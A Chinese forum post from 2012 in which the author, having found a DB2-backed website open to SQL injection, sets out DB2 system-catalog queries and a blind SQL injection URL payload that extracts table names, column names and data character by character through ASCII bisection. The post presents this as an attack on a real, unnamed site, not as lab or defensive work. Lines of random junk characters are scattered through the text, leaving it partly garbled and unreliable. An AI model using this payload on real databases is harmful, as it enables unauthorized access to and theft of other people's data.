使用DB2的人比较少了，今天碰到了一个可供注入的DB2网站，想试试身手。不过在网上很难找到相关的资料，只好自己研究了。
/ X0 \" w1 x- g9 P参考了IBM DB2的文档，总结了这样几条： ; _+ R& N2 V% V7 v+ @. I [& |
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER 8 _. P, \* u9 `4 N6 H
可以返回系统中所有用户创建的表（table）名
/ p1 {; I4 m$ {, h2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME='' , B% Q& F% c! }$ `% h& @% ?# i
返回表中的列名 3 _0 s* A/ e; f& j# e, \
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY
6 M0 f# Z- P3 f; w9 o/ I+ p$ p" |这是最关键的地方，返回第一条记录，类似于sql server中的top 1
1 J7 b% t% r! i, q |' j. D# S% j4、SUBSTR(string, position, length) + q" y" s! A6 F$ N* P: B
返回字符串子串的函数，类似于mid - a) p& w- P: Z) C: o( M
5、ASCII()这个就不用多说了。
- c3 G' T( j: t7 N, C4 y有了这些语句和函数，我们就可以很方便的用ascii拆半法猜出所有的table名，字段名，以及其中的数据了。
$ n' }5 Y0 O% U5 a4 x5 R9 D: ~5 U例如判断第一个table的名称的第一个字符的ascii码是否大于50： , p; Z% j' l. }4 A- i9 r$ A
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --
, Y6 L, K* l0 B# x A5 u2 q1 S: `% B: k
http://blog.waynedeng.com/blogview.asp?logID=543
" u9 ]% M/ h9 k' `/ o O' ` |
发表于 2012-9-15 14:06:51
收藏
支持
反对